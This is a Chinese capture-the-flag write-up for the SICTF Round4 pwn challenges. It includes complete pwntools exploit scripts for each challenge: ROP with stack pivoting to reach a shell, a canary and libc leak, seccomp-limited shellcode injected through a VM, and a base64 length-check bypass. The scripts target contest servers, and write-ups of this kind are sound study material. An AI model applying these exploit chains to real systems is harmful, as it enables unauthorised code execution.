[SICTF Round4] PWN

这PWN题似乎是给我出的,4个一血1个2血。密码又过于简单。逆向太难了又不大会。

Stack fengshui

main可以溢出覆盖rbp+ret所以它每一步都需要移栈。

可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 :add DWORD PTR [rbp-0x3d], ebx 

并且有对应的ppp6和mov call可能打ret2csu

可以改的是一个被修改过的read,因为每次只能改4字节,所以需要改两次。

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca 
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669 
ret = 0x4006d4
bss = 0x601800def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,0, 1, addr, rdi, rdx, 0, mov_call,0, 0, rbp, 0, 0, 0, 0,])def add(off, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,off, addr + 0x3d, 0, 0, 0, 0,add_dword_rbp_0x3d_ebx_ret,])p = remote('27.25.151.29', 32968)p.send(b'A'*0xa0+flat(bss, 0x40064b))p.send(flat([add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))p.send(flat([add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))p.send(flat([b'/bin/sh\0', ret, ret2csu(rdi=bss-0xa0, addr=0x606e40),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))p.interactive()

signin

应该是这里边里简单的一个题。有3个菜单,

1是格式化字符串只可以输入4字节,所以可以泄露1-9的值,这里边只有3有价值是个libc地址(格式化串里6开始在栈里,1-5分别泄露rsi,rdx,rcx,r8,r9)

2可以覆盖到canary当输入长度为0x19里可以输出canary的值

3是个溢出,同样溢出很小需要移栈。

先用1,2得到canary和libc然后system

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('27.25.151.29', 33576)p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))p.interactive()

SigninVM

程序用随机数生成4个块分别用于寄存器,栈,指令,并且指令会被设置成r-x,这里有一个RWX的没改,可以通过同步时间预测出地址。随机数使用3个字节,爆破量不大。

虚拟机命令格式:cmd,?,reg_idx1-3,add,value

虚拟机有几个命令,这里P(读入到寄存器),W(把寄存器值写入地址)把数据写入到可写可执行区再用V跳过去执行

shellcode由于限制只能用openat,read,write倒是也够了。

from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")def getv():v2 = clibc.rand() % 1131796v0 = clibc.rand()return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12for i in range(0x1000000):clibc.srand(i)if rip == getv():print('bss =',hex(getv()))print('rsp =',hex(getv()))cmd = getv()print('cmd =', hex(cmd))breakshellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,writep.interactive()'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw-   rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw-   bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx   <--- 
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r--   ripline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 00130002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 00130005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 00120006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 00120007: 0x15 0x04 0x00 0x00000008  if (A == lseek) goto 00120008: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 00120009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 00120010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 00120011: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 00130012: 0x06 0x00 0x00 0x7fff0000  return ALLOW0013: 0x06 0x00 0x00 0x00000000  return KILL
'''

T1d's computer v2.0

这个题在输入payload里会有长度检查。先把输入的东西用base64解码,但解码时会减去全=的块数,这样把ROP编码后加足够的=就能绕过长度检查。

出题人看来习惯于短溢出了,每次都得弄第2次。

from pwn import *
from ctypes import *
from time import time
from base64 import b64encodecontext(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')mov_rdi_rbp = 0x401602 
pop_rbp = 0x401607
ret = 0x401608clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256p = remote('27.25.151.29', 33311)p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#####2############
p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())p.interactive()

T1d's computer v3.0

题目有4个菜单

1:login有溢出,但有栈保护需要先得到canary

2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址

3:uaf 好像没啥用

4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0,这里的漏洞在于当输入满16字节时会带所后边的i,通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。

from pwn import *
import timecontext(arch='amd64', log_level='debug')elf = ELF('./pwn2')
libc = ELF('./libc.so.6')def login(msg=b"root\0"):p.sendlineafter(b"Choose an option: ", b'1')p.sendlineafter(b"Please enter your username: ", b"T1d\0")if len(msg)< 0x68:p.sendlineafter(b"Please enter your password: ", msg)else:p.sendafter(b"Please enter your password: ", msg)def fmt():p.sendlineafter(b"Choose an option: ", b'2')p.recvuntil(b"A gift for you: 0x")v = int(p.recvline(),16)print(hex(v))return vdef getcanary(c):p.sendlineafter(b"Choose an option: ", b'4')p.sendlineafter(b"Please input the number you guess: ", c)msg = p.recvline()return msgdef logout():p.sendlineafter(b"Choose an option: ", b'5')def uaf(msg):p.sendlineafter(b"Choose an option: ", b'3')p.sendlineafter(b"Choice: ", b'1')p.sendafter(b"Enter your note: ", msg)p.sendlineafter(b"Choice: ", b'3')def get2():code = [255]*8for i in range(7):for k in range(1,256):if k==10: continuecode[i]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recvline()if msg[-2:] == bytes([i+1])+b'\n':break for k in range(1,256):if k==10: continuecode[7]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recv(10)if b"I'll" in msg:p.recvuntil(b'0x')canary = int(p.recvline(),16)return canaryreturn Falsep = remote('27.25.151.29', 33804)login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];retuaf(p64(elf.got['puts']))bss = elf.address+ 0x4800logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/4685.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Maven详解—(详解Maven,包括Maven依赖管理以及声明周期,Maven仓库、idea集成Maven)

文章目录 Maven详解一.初始Maven1.1 概述1.2 作用 二.Maven模型2.1 概述2.2 构建生命周期/阶段2.3 项目对象模型2.4 依赖管理模型 三.Maven仓库四.Maven安装4.1 下载4.2 安装步骤 五.Idea集成Maven Maven详解 一.初始Maven 1.1 概述 Maven是Apache旗下的一个开源项目&#x…

大腾智能荣获盐田区黄金珠宝产业“产业赋能数字化优选能力伙伴”荣誉

11月2日&#xff0c;盐田区黄金珠宝产业数智化转型促进中心&#xff08;简称“促进中心”&#xff09;揭牌仪式圆满举办。盐田区委书记李忠&#xff0c;市工业和信息化局、市市场监督管理局、华为技术有限公司等相关单位、企业负责人共同见证促进中心揭牌启动。 大腾智能也出席…

DevEco在设备上运行hap报错: Error message: The caller is not a system application

这是因为hap的运行权限不够,需增加权限 找到api目录 tools->SDK manager 查看项目使用的api版本 在文件目录下找到api 9,修改如下框中文件内容

2024-11-6----Android 11(全志713m)----- 关于添加 Selinux 权限

需求 节点&#xff1a; /sys/devices/platform/motor0/motor_ctrl上层 APP 使用 JNI 需要对该节点进行 echo 的操作&#xff0c;操作失败。 添加前的验证工作 adb 进去验证下&#xff0c;如下图所示&#xff1a; 发现权限不够。su 以后再操作是OK的&#xff0c;如下图&…

【蓝队技能】【溯源反制】反打红队-CS反打其他

蓝队技能 CS反打&其他 蓝队技能总结前言一、CS批量上线二、利用漏洞&#xff08;CVE-2022-39197&#xff09;三、CS的Server端破解四、旁站反制五、蜜罐反制六、邮件钓鱼反制七、其他反制技术 总结 前言 本文深入探讨了溯源反制中针对远程控制工具CobaltStrike的多种策略与…

linux下一个应用是如何被执行的

Linux系统下&#xff0c;一个应用从启动到执行main函数经历了什么&#xff1a; 加载器&#xff08;loader&#xff09;&#xff1a;用户在终端启动一个程序时候&#xff0c;shell调用execve&#xff0c;执行程序的启动。内核态操作&#xff1a;execve做了以下几个事情&#xf…

cv.dnn.blobFromImage参数详解

例如&#xff1a; image cv.imread(imgs/img.png) blob cv.dnn.blobFromImage(image, scalefactor1.0, size(224, 224), mean(0, 0, 0), swapRBTrue, cropFalse) print("原始图像形状:", image.shape) print("Blob数据形状:", blob.shape)1. image 含义…

vscode 使用prettier格式化代码 在项目中增加.prettierrc文件,代码结尾不加分号,缩进使用两个空格

.prettierrc: {"tabWidth": 2,"useTabs": true,"semi": false,"singleQuote": false,"printWidth": 100,"trailingComma": "none" }

基于Spring Boot和Vue的电子商城系统功能设计

基于Spring Boot和Vue的电子商城系统功能设计 该系统是一个基于Spring Boot和Vue框架的电子商城平台&#xff0c;包含前台商城和后台管理系统。系统功能设计包括用户购物体验和管理员管理功能&#xff0c;支持商品的分类展示、收藏、购物车和订单管理等模块。以下是系统功能的简…

SpringBoot健身房管理系统:用户体验至上

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式&#xff0c;是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示&#xff1a; 图4-1系统工作原理…

ride安装后桌面没有快捷方式/打不开闪退?

我们在使用ride之前需要先使用pip命令下载安装python的一些必须库&#xff1a; pip install robotframework //或者使用豆瓣源下载&#xff1a; pip install i https://pypi.douban.com/simple robotframework //以上二选一&#xff0c;之后再下载ride&#xff1a; pip insta…

Hive操作库、操作表及数据仓库的简单介绍

数据仓库和数据库 数据库和数仓区别 数据库与数据仓库的区别实际讲的是OLTP与OLAP的区别 操作型处理(数据库)&#xff0c;叫联机事务处理OLTP&#xff08;On-Line Transaction Processing&#xff09;&#xff0c;也可以称面向用户交易的处理系统&#xff0c;它是针对具体业务…

【C++】继承和多态常见的面试问题

文章目录 继承笔试面试题1. 什么是菱形继承&#xff1f;菱形继承的问题是什么&#xff1f;2. 什么是菱形虚拟继承&#xff1f;如何解决数据冗余和二义性&#xff1f;3. 继承和组合的区别&#xff1f;什么时候用继承&#xff1f;什么时候用组合&#xff1f; 选择题 多态概念考察…

Unity 6 来袭

这里写自定义目录标题 1.提升渲染性能1.1 降低CPU开销 Lower CPU overhead1.2.减少内存带宽1.3.高档低分辨率帧2.多人游戏创作3.扩大多平台覆盖范围3.1.增进Android平台开发4.使用Runtime AI解锁各种可能性4.1.Unity Muse4.2.Unity Sentis5.实现更具吸引力的视觉效果5.1.自适应…

高职院校大数据专业群实训平台建设方案

一、高职大数据专业群实训平台建设的重要性 高职教育的核心在于培养学生的实际应用能力&#xff0c;因此实践教学在整个教育体系中占据极其重要的地位。构建一个综合性的大数据专业群实训平台&#xff0c;旨在支持大数据项目开发、专业课程实训及模拟真实工作场景&#xff0c;…

EPS出现时间错误,对象无法选中?

问题描述 eps在使用过程中&#xff0c;选择等高线突然弹出“时间错误&#xff0c;对象无法选中”的问题。 解决办法 关闭eps&#xff0c;重新启动并打开文件&#xff0c;即可解决。

深⼊理解指针(1)

⽬录&#xff1a; 1. 内存和地址 2. 指针变量和地址 3. 指针变量类型的意义 4. 指针运算 一 内存和地址 指针定义的引入 假如你的一个去旅游&#xff0c;然后进入酒店夜宿&#xff0c;而这时候你要去找他&#xff0c;如果你的朋友没有告诉他的房间&#xff0c;这时候你就…

qt QTableWidgetItem详解

1、概述 QTableWidgetItem 是 Qt 框架中的一个类&#xff0c;专门用于在 QTableWidget&#xff08;一个基于项的表格视图&#xff09;中表示单个单元格的内容。QTableWidget 继承自 QAbstractItemView&#xff0c;而 QTableWidgetItem 则作为表格中的一个单元格项&#xff0c;…

CUDA下载和安装

CUDA下载和安装 前言下载安装后续添加参考链接 前言 由于我需要运行的代码与我当前的CUDA版本不兼容,所以我现在需要进行CUDA的更新,下载一个低版本的CUDA以匹配我的Pytorch 下载 CUDA下载地址:CUDA下载链接 选择适合自己的版本 由于我是要运行一个开源项目,我选择对应的CU…

手把手教你Windows系统服务提权(含提权实验+环境配置教程),网络安全零基础入门到精通教程建议收藏!

文章目录 服务配置权限脆弱环境准备提权实验服务注册表权限脆弱环境准备提权实验 服务路径权限脆弱环境准备提权实验 未引用的服务路径环境准备提权实验 针对不安全服务提权的防御措施 &#x1f449;1.成长路线图&学习规划&#x1f448;&#x1f449;2.网安入门到进阶视频教…